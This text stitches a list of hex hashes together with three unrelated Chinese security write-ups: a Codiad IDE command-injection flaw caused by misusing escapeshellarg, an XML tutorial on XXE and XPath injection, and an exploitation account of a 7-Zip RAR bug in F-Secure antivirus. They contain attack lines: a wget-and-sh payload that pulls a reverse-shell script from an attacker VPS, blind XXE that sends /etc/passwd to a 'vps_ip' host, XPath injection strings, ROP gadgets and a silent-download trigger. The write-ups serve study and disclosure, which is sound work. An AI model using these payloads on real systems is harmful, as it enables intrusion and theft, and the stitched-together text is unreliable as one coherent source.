a07c4ced1cc47b8df61eb5d4be42ea64a79d47ef6dd4967e9c956dc49796ba80
a0dacb034d3b1e563714ad91fe51a71fe83c488a5931c1fb82f8cad04ae2fc1d
a54ab03086af7b96b88efa0fa1abad56870947ebca89c05eb6503eee5f9a4cf8
a6693a690c7b1f1363d61301db838c0854f7f95f5322ad38353f9888dd386346
b25b113c1159e0fd35eb6b07a4f2318439e779ce9916af6b8e909e1eca744809
b8c92c94113509e2d60ee97c0233d107ccd4dd11ce1bbdb2eb5b92113b4d27cd
bcf5b70de961cf53dcb845ad766ed8d36653408e72478f3c4f36883018cf4264
bee0a43ffaeda2d39e0bb754ab6ac5f3bf159f8bf79d5c3619086eb26974aac9
bf9ff9889bcbd338586a17ea8a7f270efd45efeea367f118cf2c036b9a63c45f
c0d71564ae30d7336504ae8bac556eca7338f519586060edb378250f2af46ca2
c2e56d8c1090398b2d60370b55cb5bd3359630451acdb554ee8c1aa7f5c1b51c
c5d2fb553d6406100c0b4a1be2f9e11ac2101bfa081527e211b7ac113fff6ff5
c63281c74f8ca4309b1651a18241a69979fb135048beac2267620efc46e798e3
cbfc83e8341728851650b3bb78855e5e16e030e33fc64dcbb8e27004dce7b290
ce0c460160d5a2000e807f225940fbcd8e0e629f3bbec52e952c3355ffa688ff
d27406627260481d000551236d65bfb284ada771f105adf41ee231041fe5b2fe
d8a8f29bcea4e4b3a2515b31926abd1ce7b2adb0679a26a68df992c2c14ec730
d9a3fc467e1198db9eec0a2231396f94d5fc44206d829ddf74dbeb529cb6e6f6
d9ea0bc4909f894c30368ab6fcce37046523945bc64ab46b671491bea1d48904
dab2045ebb2a37e78f0c3a0fff063b32ca66e16acecb197e33e671948f9ba4fc
db5ea1d29e6681c30c49f640020fac8aab39e696e2b871ce4cdae45bacc1da0e
dbba4d5a7f81feff29265babf103cf6c5e240254a6dc157ddc4bc3cfa2941b75
dbdddbe487c70319c928d8b4a9a499dbe18c347a622ef78e665b27d9563340c5
ddaf881c973e8302146ca59f0d65327ea0fc4b9bd30961e245fea693f377e893
de1edc5dacc285b7f4910f4252a01c3d418b5f9fe14b76c33b00e8eaaef9976c
dee635d66b0ecd41655f180a9e51967a84c6c65be8574197da161f3cf51662b7
e242f942726ebd6c123a6d868d6a5c8c420e15056f0662773c14f218b20c550d
eacf6fbc19a4a8d39ba16be72a51d0f376d59ab09b6726e0632eabd00382dba2
f013c00f93260c72da674522b0169a65553b67c71ccf2bdc1879c7c91381332e
f070a3e1450d56266a24d0f8f0878d249ec777305f85b4b4b55e1f1aa474c5c0
f0e38d842f1ef4d67c7510440f7c8985cd79b6c52bbaf07c43aa370e178a10dd
f14fb553d340d6f62c640711e058f147d186a9f51b0f422bd55187dc3c34ca8c
f2b47d7b9becbcdaea350fc0fb01f258e5e31ebc3a39b8e9e170730b194869d2
f47254880625736325ba64853ddaf35a5fdf940843fb8af7ea66008953539170
f62cfb5f412ce47c611430e4445c14376791eb68ed665ab8641731b923643b14
f63c4ece8caee488bb4873d7a494f8d52b0bcfa8746794fb5e0b913808b3f1e6
fd80d1c741ca0f648f7ea14bb8f345358681f5335d909f4f0e56f14640bde1df | 社区文章 |
#### 简介 :
Codiad 是一个开源基于Web的IDE应用程序，用于在线编写和编辑代码。
这个应用程序采用PHP开发，并且不需要一个SQL数据库，数据是存储在一个JSON格式的文件中。
它的界面包含三个面板：
项目/文件管理器具
代码编辑器
菜单/功能
* * *
#### 简要分析 :
这个漏洞的成因不能说是开发者的疏忽了
应该说是开发者太过于信任 php 的 escapshellarg 这个函数
后来想了一下 , 我觉得可能很多开发者都没有意识到这个函数的正确使用方式
很有可能别的 php 项目中也存在相同的漏洞
具体信息如下文 :
* * *
#### 漏洞点以及利用方式 :
> components/filemanager/class.filemanager.php
具体在这句话 :
$output = shell_exec('find -L ' . $this->path . ' -iregex ".*' . $this->search_file_type . '" -type f | xargs grep -i -I -n -R -H "' . $input . '"');
变量 $this->search_file_type
这个变量在使用之前是经过 escapeshellarg 函数处理过的
可能很多人会问了 , 既然都已经经过 php 的官方函数处理过了
还会存在漏洞吗 ?
很不幸 , 由于开发者没有正确使用这个函数 , 漏洞是存在的
经过 escapeshellarg 函数处理过的参数被拼凑成 shell 命令 并且被双引号包裹
这样就会造成漏洞
而且漏洞的危害就是远程命令执行
接下来我们来测试一下漏洞是否可用
首先搭建环境
使用 ping 命令来测试一下
可以发现接收到了 icmp 数据包裹
说明命令确实是被执行了的
那么我们来测试一下是否可以成功反弹一个 shell 呢
由于 escapeshellarg 函数会在被过滤的参数两边添加单引号 , 并且会对参数中的所有单引号进行转义
那么我们需要找一些不需要单引号和双引号的命令来实现反弹 shell 的操作
笔者想到的一个方法是利用 wget 下载反弹 shell 的脚本 , 然后通过 sh 去执行这个脚本即可
wget 通过 -P 参数可以指定保存路径
我们可以在公网 vps 上监听 80 端口 , 将反弹 shell 的命令写入到 index.html
然后通过 wget 将其下载到目标服务器的一个可写目录下 (/tmp) ， 然后再用 sh 执行这个脚本
payload 如下 :
wget 8.8.8.8 -p /tmp
sh /tmp/index.html
* * *
成因分析 :
bash 在解析单引号和双引号的时候是有区别的
在解析单引号的时候 , 被单引号包裹的内容中如果有变量 , 这个变量名是不会被解析成值的
但是双引号不同 , bash 会将变量名解析成变量的值再使用
如下图 :
我们都知道反引号是可以执行命令的 , 那么如果反引号位于单引号和双引号内部 , 会有什么区别吗 ?
可以看到在双引号中的反引号内容会被当做命令执行
那么这个漏洞的成因即为 : 虽然使用了 escapeshellarg 函数 , 但是经过这个函数过滤的参数又在外部被双引号包裹起来 , 因此 ,
就导致了命令执行漏洞
参考 php.net 中的官方文档 :
这个函数会给参数左右添加单引号 , 因此正确的做法是这样 :
$output = shell_exec('find -L ' . $this->path . ' -iregex '.escapeshellarg('.*'.$this->search_file_type).' -type f | xargs grep -i -I -n -R -H '.escapeshellarg($input));
* * *
#### 参考资料 :
> <http://www.grymoire.com/Unix/Quote.html>
> <http://wiki.bash-hackers.org/syntax/quoting>
* * *
#### 总结 :
总结一下 , 经过 php 的 escapeshellarg 的 shell 命令的参数
如果会被双引号包裹 , 那么个这个函数事实上形同虚设
所以千万不能在使用这个函数的时候再自作主张在两侧添加双引号 | 社区文章 |
# 由浅入深剖析xml及其安全隐患
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本文用来归纳并深入理解xml语言及其在web环境中可能存在的安全隐患。
## xml基本概念
### 什么是xml？
XML 指可扩展标记语言（EXtensible Markup Language），是一种标记语言，很类似 HTML。其设计宗旨是传输数据，而非显示数据。
XML 标签没有被预定义。所以需要自行定义标签。
### 什么是标记语言？
标记语言，是一种将文本以及文本相关的其他信息结合起来，展现出关于文档结构和数据处理细节的电脑文字编码。与文本相关的其他信息（包括文本的结构和表示信息等）与原来的文本结合在一起，但是使用标记进行标识。
标记语言不仅仅是一种语言，就像许多语言一样，它需要一个运行时环境，使其有用。提供运行时环境的元素称为用户代理。
### 标记语言的不同点
* 1.标记语言
被读取的，本身没有行为能力（被动）；例如：Html 、XML等
* 2.编程语言
需要编译执行；本身具有逻辑性和行为能力例如：C、Java等
* 3.脚本语言
需要解释执行；本身具有逻辑性和行为能力；例如：javascript等
### 归纳
所以说xml本身是一种语言，所以它具有本身语言的特性，和需要完成的功能
下面我们看看xml如何发挥自身语言的作用，实现功能
## xml基础语法
### xml声明
xml文档是由一组使用唯一名称标识的实体组成的。始终以一个声明开始，这个声明指定该文档遵循XML1.0的规范。
<?xml version="1.0" encoding="UTF-8"?>
encodeing是指使用的字符编码格式有UTF-8,GBK,gb2312等等
（这里插一嘴，既然可以设置编码格式，就有可能存在bypass，后续讲）
### 根元素
每个XML文件都必须有且只能有一个根元素。用于描述文档功能。可以自定义根元素。下例中的root为根元素。
<root>...................</root>
### XML代码
根据应用需要创建自定义的元素和属性。标签包括尖括号以及尖括号中的文本。元素是XML内容的基本单元。元素包括了开始标签、结束标签和标签之间的内容。
<title>XML是可扩展标记语言</title>
### 处理指令
凡是以`<?`开始，`?>`结束的都是处理指令。XML声明就是一个处理指令。
字符数据分以下两类：
PCDATA（是指将要通过解析器进行解析的文本）
CDATA （是指不要通过解析器进行解析的文本）
其中不允许`CDATA`块之内使用字符串`]]>`,因为它表示CDATA块的结束。
### 实体
实体分为两类：
* 一般实体(格式：&实体引用名;)
* 参数实体(格式：%实体引用名;)
一般实体，可以在XML文档中的任何位置出现的实体称为一般实体。实体可以声明为内部实体还是外部实体。
外部实体分SYSYTEM及PUBLIC两种：
SYSYTEM引用本地计算机，PUBLIC引用公共计算机，外部实体格式如下：
<!ENTITY 引用名 SYSTEM(PUBLIC) "URI地址">
DOCTYPE声明
在XML文档中，`<!DOCTYPE[...]>`声明跟在XML声明的后面。实体也必须在DOCTYPE声明中声明。
例如
<?xml version="1.0" unicode="UTF-8">
<!DOCTYPE[
.....在此声明实体<!ENTITY 实体引用名 "引用内容">
]>
完整的例子
<?xml version="1.0" encoding="GBK"?>
<!DOCTYPE root[
<!ENTITY sky1 "引用字符1">
<!ENTITY sky2 "引用字符2">
]>
<root>
<title value="&sky1;"> &sky2; </title>
<title2>
<value><a>&sky2;</a></value>
</title2>
</root>
## xml解析方式
首先xml是被读取的标记语言，他不可能自我解析，所以需要脚本语言或者编译语言对其进行读取然后解析。
这里以Java中主要的两种解析读取方法为例（解析上来说大多大同小异，以java为代表）
xml解析的方式分为两种：
* DOM方式
* SAX方式
### DOM方式
DOM方式即以树型结构访问XML文档：
一棵DOM树包含全部元素节点和文本节点。可以前后遍历树中的每一个节点。
例如
<?xml version="1.0" encoding="UTF-8"?>
<DataSource>
<database name="mysql" version="5.0">
<driver>com.mysql.jdbc.Driver</driver>
<url>jdbc:mysql://localhost:3306/linkinjdbc</url>
<user>root</user>
<password>root</password>
</database>
<database name="Oracle" version="10G">
<driver>oracle.jdbc.driver.OracleDriver</driver>
<url>jdbc:oracle:thin:@127.0.0.1:linkinOracle</url>
<user>system</user>
<password>root</password>
</database>
</DataSource>
解析后大概如下
然后再对树操作，进行查找
### SAX方式
SAX处理的特点是基于事件流的。分析能够立即开始，而不是等待所有的数据被处理。而且，由于应用程序只是在读取数据时检查数据，因此不需要将数据存储在内存中。这对于大型文档来说是个巨大的优点。
事实上，应用程序甚至不必解析整个文档；它可以在某个条件得到满足时停止解析。sax分析器在对xml文档进行分析时,触发一系列的事件,应用程序通过事件处理函数实现对xml文档的访问。
因为事件触发是有时序性的,所以sax分析器提供的是一种对xml文档的顺序访问机制,对于已经分析过的部分,不能再重新倒回去处理。
此外，它也不能同时访问处理2个tag，sax分析器在实现时,只是顺序地检查xml文档中的字节流,判断当前字节是xml语法中的哪一部分,检查是否符合xml语法并且触发相应的事件。对于事件处理函数的本身,要由应用程序自己来实现。
SAX解析器采用了基于事件的模型，它在解析XML文档的时候可以触发一系列的事件，当发现给定的tag的时候，它可以激活一个回调方法，告诉该方法制定的标签已经找到。
所以对于上述xml内容
<?xml version="1.0" encoding="UTF-8"?>
<DataSource>
<database name="mysql" version="5.0">
<driver>com.mysql.jdbc.Driver</driver>
<url>jdbc:mysql://localhost:3306/linkinjdbc</url>
<user>root</user>
<password>root</password>
</database>
<database name="Oracle" version="10G">
<driver>oracle.jdbc.driver.OracleDriver</driver>
<url>jdbc:oracle:thin:@127.0.0.1:linkinOracle</url>
<user>system</user>
<password>root</password>
</database>
</DataSource>
它的解析流程为：
开始解祈XML文档...
开始解祈元素[DataSource]...
共有[0]个属性...
开始接受元素中的字符串数据...
开始解祈元素[database]...
共有[2]个属性...
属性名是：name;属性值是:mysql
属性名是：version;属性值是:5
开始接受元素中的字符串数据...
开始解祈元素[driver]...
共有[0]个属性...
开始接受元素中的字符串数据...
com.mysql.jdbc.Driver
解祈元素[driver]结束...
开始解祈元素[url]...
共有[0]个属性...
开始接受元素中的字符串数据...
jdbc:mysql://localhost:3306/linkinjdbc
解祈元素[url]结束...
.......
解祈元素[database]结束...
开始解祈元素[database]...
共有[2]个属性...
属性名是：name;属性值是:Oracle
属性名是：version;属性值是:10G
开始接受元素中的字符串数据...
.....
解祈元素[database]结束...
解祈元素[DataSource]结束...
大概如上，这样即可顺序访问，知道找到需要访问的值，即可回调返回结束
### 优缺点对比
DOM形:
* 优点：
* 整个 Dom 树都加载到内存中了，所以允许随机读取访问数
* 允许随机的对文档结构进行增删
* 缺点：
* 整个 XML 文档必须一次性解析完，耗时。
* 整个 Dom 树都要加载到内存中，占内存。
* 适用于：文档较小，且需要修改文档内容
SAX形:
* 优点：
* 访问能够立即进行，不需要等待所有数据被加载
* 不需要将整个数据都加载到内存中，占用内存少
* 允许注册多个Handler,可以用来解析文档内容，DTD约束等等
* 缺点：
* 需要应用程序自己负责TAG的处理逻辑（例如维护父/子关系等），文档越复杂程序就越复杂。
* 单向导航，无法定位文档层次，很难同时访问同一文档的不同部分数据，不支持XPath。
* 不能随机访问 xml 文档，不支持原地修改xml。
* 适用于：文档较大，只需要读取文档数据。
## 安全隐患
xml作为数据存储/传递的一种标记语言，一定是会在通讯，交互等时候被使用的，那么编译语言/脚本语言需要读取xml来读取数据的时候，势必会解析xml格式的文本内容
那么在解析的时候，如果攻击者可以控制xml格式的文本内容，那么就可以让编译语言/脚本语言接收到恶意构造的参数，若不加过滤，则会引起安全隐患
### XXE-任意文件读取
在上述的语法中，我们提及到，xml可以引入实体，例如
<!ENTITY 引用名 SYSTEM(PUBLIC) "URI地址">
我们可以看到，这里填写的是url地址，这就可以涉及到多个问题：
1.url协议多样，例如：file、http、gopher……
2.是否可以请问外部实体
这里我们先做一个简单的测试，使用file协议，引入实体
php代码如下
<?php
$xml= file_get_contents("./xxepayload.txt");
$data = simplexml_load_string($xml,'SimpleXMLElement',$options=LIBXML_NOENT);
print_r($data);
?>
xml内容如下:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
访问后可得到回显
这是为什么？
因为
<!ENTITY f SYSTEM "file:///etc/passwd">
此处将本地计算机中`file:///etc/passwd`文件的内容取出，赋值给了实体`f`
然后实体`f`的值作为元素`x`中的字符串数据被php解析的时候取出，作为对象里的内容
然后再输出该对象的时候被打印出来。
故此，倘若我们可以控制xml文本内容，那么就能利用编译/脚本语言的解析，输出我们想读的指定文件
### XXE-任意文件盲读取
我们知道在Xml解析内容可以被输出的时候，我们可以采取上述攻击方式
但有时候，xml只作为数据的传递方式，服务端解析xml后，直接将数据进一步处理再输出，甚至不输出，这时候可能就无法得到我们想读的结果。
那么此时，可以尝试使用blind xxe进行攻击：
1.我们可以利用file协议去读取本地文件
2.我们可以利用http协议让实体被带出
我们知道xml中，跟的是url地址
<!ENTITY 引用名 SYSTEM(PUBLIC) "URI地址">
那么此时我们当然可以使用http协议，那么xml解析的时候势必会去访问我们指定的url链接
此时就有可能将数据带出
我们想要的方法是这样的
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///etc/passwd">
<!ENTITY % param2 "http://vps_ip/?%param1">
%param2;
]>
此时xml解析时，就会将我们读取到的内容的param1实体带出，我们再vps的apache log上就可以看到
但是上述构造存在语法问题
于是我们想到这样一个构造方案
post.xml
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://vps_ip/evil.xml">
%remote;
%all;
]>
<root>&send;</root>
evil.xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://vps_ip/1.php?file=%file;'>">
这样一来，在解析xml的时候：
1.file实体被赋予`file:///etc/passwd`的内容
2.解析remote值的时候，访问`http://vps_ip/evil.xml`
3.在解析`evil.xml`中all实体的时候，将file实体带入
4.访问指定url链接，将数据带出
于是成功造成了blind xxe文件读取
这里再额外提及一下，既然我们再开始申明的时候可以规定编码格式，那么倘若后台对
ENTITY
等关键词进行过滤时，我们可以尝试使用UTF-7，UTF-16等编码去Bypass
例如
<?xml version="1.0" encoding="UTF-16"?>
### Xpath注入
xml同样可作为数据存储，所以这里可以将其当做数据库
类似于如下
<?xml version="1.0" encoding="UTF-8"?>
<users>
<user>
<firstname>Ben</firstname>
<lastname>Elmore</lastname>
<loginID>abc</loginID>
<password>test123</password>
</user>
<user>
<firstname>Shlomy</firstname>
<lastname>Gantz</lastname>
<loginID>xyz</loginID>
<password>123test</password>
</user>
<user>
<firstname>Jeghis</firstname>
<lastname>Katz</lastname>
<loginID>mrj</loginID>
<password>jk2468</password>
</user>
<user>
<firstname>Darien</firstname>
<lastname>Heap</lastname>
<loginID>drano</loginID>
<password>2mne8s</password>
</user>
</users>
其查询语句，也类似于sql语句
//users/user[loginID/text()=’abc’ and password/text()=’test123’]
所以相同的，我们可以用类似sql注入的方式来闭合引号例如：
loginID=' or 1=1 or ''='
password=' or 1=1 or ''='
可以得到
//users/user[loginID/text()='' or 1=1 or ''='' and password/text()='' or 1=1 or ''='']
那么查询语句将返回 true
### Xpath盲注
方法类似于Sql注入，只是函数可能使用不同
提取当前节点的父节点的名称：
' or substring(loginID(parent::*[position()=1]),1,1)='a
' or substring(loginID(parent::*[position()=1]),1,1)='b
' or substring(loginID(parent::*[position()=1]),1,1)='c
....
' or substring(loginID(parent::*[position()=1]),2,1)='a
' or substring(loginID(parent::*[position()=1]),2,1)='b
....
如此循环可得到一个完整的父节点名称
确定address节点的名称后，攻击者就可以轮流攻击它的每个子节点，提取出它们的名称与值。（通过索引）
'or substring(//user[1]/*[2]/text(),1,1)='a' or 'a'='a
'or substring(//user[1]/*[2]/text(),1,1)='b' or 'a'='a
'or substring(//user[1]/*[2]/text(),1,1)='c' or 'a'='a
.....
同时，既然将xml用作数据库，有可能存在泄漏问题,例如
accounts.xml
databases.xml
...
这里还有一道实例题，有兴趣的可以参考一下
http://skysec.top/2018/07/30/ISITDTU-CTF-Web/#Access-Box
### 代码注入
这一块可以参考我之前写过的soap总结
http://skysec.top/2018/07/25/SOAP%E5%8F%8A%E7%9B%B8%E5%85%B3%E6%BC%8F%E6%B4%9E%E7%A0%94%E7%A9%B6/
既然xml作为标记语言，需要后台解析
那么我们在传递参数的时候，就可以插入标记语言
（就像html可以被插入，导致xss一样）
在后端解析的时候，就可以达到伪造的目的
## 参考链接
<https://blog.csdn.net/u011794238/article/details/42173795>
<http://blog.51cto.com/12942149/1929669>
<https://blog.csdn.net/Holmofy/article/details/78130039>
<https://blog.csdn.net/u011721501/article/details/43775691> | 社区文章 |
# F-Secure反病毒软件受7-Zip漏洞影响导致远程代码执行漏洞
|
##### 译文声明
本文是翻译文章，文章原作者 landave，文章来源：landave.io
原文地址：<https://landave.io/2018/06/f-secure-anti-virus-remote-code-execution-via-solid-rar-unpacking/>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的一些话
正如我在[上两篇](https://landave.io/2018/01/7-zip-multiple-memory-corruptions-via-rar-and-zip/)关于7-Zip的bug
CVE-2017-17969、CVE-2018-5996和CVE-2018-10115的文章中简要提到的，至少有一个反病毒供应商的产品受到了这些bug的影响。现在所有补丁都已经发布，我终于可以公开供应商的名字了：它就是F-Secure，所有基于Windows的端点的保护产品（包括消费产品，如F-Secure Anti-Virus，以及企业产品，如F-Secure Server
Security）。
尽管F-Secure的产品直接受到前面提到的7-Zip bug的影响，但由于F-Secure正确部署了ASLR，因此利用这些漏洞比7-Zip(18.05版之前)要困难得多。在这篇文章中，我提出了一个扩展，我[之前的7-Zip利用](https://landave.io/2018/05/7-zip-from-uninitialized-memory-to-remote-code-execution/)CVE-2018-10115，在F-Secure的产品实现了远程代码执行。
## 介绍
在之前的7-Zip利用开发中，我演示了如何使用7-Zip的RAR头处理方法来处理堆。这并不是完全微不足道的，但在那之后，我们基本上完成了。由于7-Zip
18.01没有部署ASLR，一个完全静态的ROP链就足以实现代码执行。
使用部署ASLR的F-Secure，这样的静态ROP链不能用了，需要使用其他方法。特别是，我们需要动态地计算ROP链。在可编写脚本的环境中，这通常非常简单：只需泄漏一个指针来派生某个模块的基地址，然后将这个基地址添加到准备好的ROP链中。
由于我们试图利用的bug驻留在RAR提取代码中，一个可能的想法是使用RarVM作为一个脚本环境来计算ROP链。我非常有信心，如果RarVM真的可用的话，这将是可行的。不幸的是，事实并非如此：尽管7-Zip的RAR实现支持RarVM，但它在编译时默认是禁用的，而F-Secure也没有启用它。
虽然几乎可以肯定的是，F-Secure引擎包含一些攻击者可以控制的脚本引擎(在7-Zip模块之外)，但是似乎很难以可靠的方式利用类似的东西。此外，我的目标是找到一个独立于任何F-Secure功能的ASLR绕过方法。理想情况下，新的漏洞也适用于7-Zip(ASLR)，以及使用7-Zip作为库的任何其他软件。
接下来的内容，我将简要地介绍受攻击的bug最重要的方面。然后，我们将看到如何绕过ASLR来实现代码执行。
## Bug
我正在利用的bug在我[之前的博客文章](https://landave.io/2018/05/7-zip-from-uninitialized-memory-to-remote-code-execution/)中有详细的解释。本质上，它是一种未初始化的内存使用，允许我们控制很大一部分RAR解码器状态。特别是，我们将使用Rar1解码器。NCompress：NRar
1：CDecoder：LongLZ1方法包含以下代码：
if (AvrPlcB > 0x28ff) { distancePlace = DecodeNum(PosHf2); }
else if (AvrPlcB > 0x6ff) { distancePlace = DecodeNum(PosHf1); }
else { distancePlace = DecodeNum(PosHf0); }
// some code omitted
for (;;) {
dist = ChSetB[distancePlace & 0xff];
newDistancePlace = NToPlB[dist++ & 0xff]++;
if (!(dist & 0xff)) { CorrHuff(ChSetB,NToPlB); }
else { break; }
}
ChSetB[distancePlace] = ChSetB[newDistancePlace];
ChSetB[newDistancePlace] = dist;
这非常有用，因为uint32_t数组ChSetB和NtoPlB是完全受攻击者控制的(因为如果触发此bug，它们不会被初始化)。因此，newDifferancePlace是一个攻击者控制的uint32_t，Dist也是(受最小有效字节不能为0xff的限制)。此外，距离位置是由输入流决定的，因此它也是攻击者控制的。
这给了我们一个很好的读写原语。但是请注意，它有一些限制。特别是，所执行的操作基本上是一个交换。我们可以使用原语执行以下操作：
* 我们可以将从&ChSetB[0]开始的4字节对齐32位偏移量的任意uint32_t值读入ChSetB数组。如果这样做，我们总是覆盖刚刚读取的值(因为它是一个交换)。
* 我们可以从ChSetB数组将uint32_t值写入从&ChSetB[0]开始的任意4字节对齐32位偏移量。这些值可以是常量，也可以是我们之前读取到ChSetB数组中的值。在任何情况下，最小有效字节不得为0xff。此外，由于我们正在交换值，因此编写的值总是被销毁(在ChSetB数组中)，因此不能第二次写入。
最后，请注意，确定索引newDistancePlace的方式进一步限制了我们。首先，我们不能做太多这样的读/写操作，因为数组NToPlB只有256个元素。其次，如果我们预先编写一个未知的值(例如，受ASLR约束的地址的一部分)，我们可能不知道Dist&0xff到底是什么，所以我们需要用所需的索引填充(可能是许多)NToPlB中的不同条目。
显然，这个基本的读写原语本身不足以绕过ASLR。还需要一个其他的方法。
## 利用方法
我们使用与7-Zip大致相同的开发策略：
1. 在包含读写原语的RAR1解码器之后，将RAR3解码器对象置于恒定距离。
2. 使用RAR3解码器将payload提取到_window缓冲区中。
3. 使用读写原语将RAR3解码器的vtable指针与_window指针交换。
回想一下，在7-Zip利用开发中，我们在步骤2中提取的payload包含stack
pivot、(静态)ROP链和shellcode。显然，这种静态ROP链不能在完全ASLR的环境中工作。那么，我们如何在不事先知道任何地址的情况下，动态地将有效的ROP链提取到缓冲区中呢？
## 绕过ASLR
我们是在一个非脚本环境，但我们仍然希望通过随机偏移纠正我们的ROP链。具体来说，我们要添加64位整数.
好吧，我们可能不需要完全增加64位。通过覆盖地址中最不重要的字节来调整地址的大小就足够了。但是，请注意，这在一般情况下是行不通的。考虑&f是某个函数的随机地址。如果地址是一个完全一致的随机64位值，而且我们只覆盖最不重要的字节，那么我们就不知道我们改变了多少地址。但是，如果我们不知道地址，除了d最小的字节，这个想法就会奏效。在这种情况下，我们可以安全地覆盖d最小的字节，并且我们将始终通过更改了多少地址来知道。幸运的是，Windows将每个模块加载到一个(随机)64K对齐地址。这意味着，任何代码地址的两个最不重要的字节都将是常量。
为什么这个想法对我们有用？如你所知，RAR是基于Lempel-Ziv压缩算法的。在这些算法中，编码器构建一个动态字典，其中包含较早发生在压缩流中的字节序列。如果一个字节序列正在重复，那么它可以有效地编码为对字典中相应条目的引用。
在RAR中，动态字典的概念以一种广义的形式出现。实际上，在抽象级别上，解码器在每一步执行以下两种操作中的一种：
1. PutByte(Bytevalue)，或
2. CopyBlock(distance,num)
CopyBlock操作从window缓冲区当前位置之前的距离字节开始复制num字节。这就产生了以下想法：
1. 使用读写原语写入指向Rar3 window缓冲区末尾的函数指针。这个函数指针是一些(已知的)常量c的8字节地址&7z.dll+c。
2. 基址&7z.dll是强随机化的，但始终是64K对齐。因此，我们可以利用本节开头所解释的思想：首先，我们选择编写两个任意字节(使用PutByte(B)的两个调用)。然后，我们从window缓冲区的末尾复制(使用CopyBlock(d，n)操作)函数指针的六个最重要的字节&7z.dll+c。它们一起形成一个有效的八个字节地址，指向可执行代码。
请注意，我们正在从window缓冲区的末尾进行复制。这在一般情况下是可行的，因为源索引(Curentpos-1)-distance是按window大小计算的。但是，7-Zip实现实际上检查我们是否从大于当前位置的距离复制，如果是这样，则中止。幸运的是，可以通过使用读写原语破坏Rar3解码器的成员变量来绕过这一检查。我将它留给感兴趣的读者作为一个(简单的)练习，以弄清楚这是哪个变量，以及为什么这个变量有效。
## ROP
上一节中概述的技术允许我们编写一个ROP链，它由单个64K区域的代码中的地址组成。这样就够了吗？我们尝试编写以下ROP链：
// pivot stack: xchg rax, rsp;
exec_buffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec_buffer, rsp+shellcode_offset, 0x1000);
jmp exec_buffer;
链的关键步骤是调用Virtualalloc。我可以在F-Secure的7z.dll中表单+0xd****的偏移量处找到所有出现的jmp
cs:VirtualAlloc。不幸的是，我无法找到一种简单的方法来检索Rar解码器对象中(或附近)的这种形式的指针。相反，我可以找到window
+0xc****的指针，并使用以下技术将其转换为window +0xd****的指针：
1. 使用读写原语将表单+0xc*的最大可用指针交换到RAR1解码器的成员变量LCount中。
2. 让RAR 解码器处理精心编制的项，这样成员变量LCount将递增(步长为1)，直到它具有+0xd****的表单。
3. 使用读写原语将成员变量LCount交换到RAR3解码器window缓冲区的末尾(请参阅前面的部分)。
事实证明，表单+0xc****的最大可用指针大约是+0xcd000，所以我们只需要增加0x3000。
由于能够处理包含跳转到Virtualalloc的完整64K代码区域，我希望上述形式的ROP链将很容易实现。不幸的是，我根本无法做到这一点，所以我复制了另一个指向window缓冲区的指针。两个64K代码的区域，因此总共128K，足以获得所需的ROP链。尽管如此，它仍然远不够好。例如，stack
pivot是这样的：
0xd335c # push rax; cmp eax, 0x8b480002; or byte ptr [r8 - 0x77], cl; cmp bh, bh; adc byte ptr [r8 - 0x75], cl; pop rsp; and al, 0x48; mov rbp, qword ptr [rsp + 0x50]; mov rsi, qword ptr [rsp + 0x58]; add rsp, 0x30; pop rdi; ret;
另一个例子是，在调用Virtualalloc之前，我们如何将寄存器R9设置为Page_EXECUTE_ReadWite(0x40)：
# r9 := r9 >> 9
0xd6e75, # pop rcx; sbb al, 0x5f; ret;
0x9, # value popped into rcx
0xcdb4d, # shr r9d, cl; mov ecx, r10d; shl edi, cl; lea eax, dword ptr [rdi - 1]; mov rdi, qword ptr [rsp + 0x18]; and eax, r9d; or eax, esi; mov rsi, qword ptr [rsp + 0x10]; ret;
这是可行的，因为当我们进入ROP链时，R9始终具有值0x8000。
## 整合起来
我们已经看到了一个基本的开发理念的草图。在实际执行时，你必须克服我为了避免让你太无聊而忽略的一些额外的障碍。粗略地说，基本的实施步骤如下：
1. 使用(大致)与7-Zip攻击中相同的heap massaging技术。
2. 实现一个基本的Rar1编码器来创建一个Rar1项，该项以所需的方式控制读写原语。
3. 实现一个基本的RAR3编码器，以创建一个RAR3项，该项将ROP链以及shellcode写入window缓冲区。
最后，所有条目(即使是不同的RAR版本)都可以合并到一个归档文件中，这将导致在提取它时执行代码。
## 最小化所需的用户交互
几乎所有的防病毒产品都配备了所谓的文件系统小型机，它拦截每个文件系统访问并触发引擎运行后台扫描。F-Secure的产品也能做到这一点。但是，这种自动后台扫描不会提取压缩文件。这意味着仅仅通过电子邮件向受害者发送恶意的RAR存档是不够的。如果有人这样做，受害者就必须手动触发扫描。
显然这是非常糟糕的，因为防病毒软件的目的就是扫描不可信的文件。然而，我们可以做得更好。事实证明，F-Secure的产品拦截HTTP流量，如果文件的大小最多为5MB，就会自动扫描通过HTTP接收的文件。这种自动扫描包括(默认情况下)提取压缩文件。因此，我们可以为受害者提供一个自动下载攻击文件的网页。为了默默地这样做(甚至防止用户注意到下载被触发)，我们可以发出异步HTTP请求，如下所示：
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', '/exploit.rar', true);
xhr.responseType = 'blob';
xhr.send(null);
</script>
## Demo
下面的演示视频简要介绍了在新安装和更新了且安装了F-Secure Anti-Virus(也是完全更新的，但7z.dll已被未修补版本替换，我已于2018年4月15日从F-安全安装中提取)的Windows10 RS4
64位(Build 17134.81)上运行的漏洞。
<https://landave.io/files/fsecure_rce_solidrar.webm>
如您所见，引擎(fShoster64.exe)作为NT AUTHORITYSYSTEM运行，并且该漏洞导致它启动notepad.exe(也作为NT
AUTHORITYSYSTEM)。
也许你会好奇，为什么shell代码会启动notpad.exe而不是旧的calc.exe。嗯，我试图将calc.exe作为NT
AUTHORITYSYSTEM打开，但没有成功。这与利用漏洞或shellcode本身无关。它似乎不再适用于新的UWP计算器(它也无法在使用pexec64.ex-i-s时启动)。如果你知道为什么会这样，请给我发一封电子邮件。
## 总结
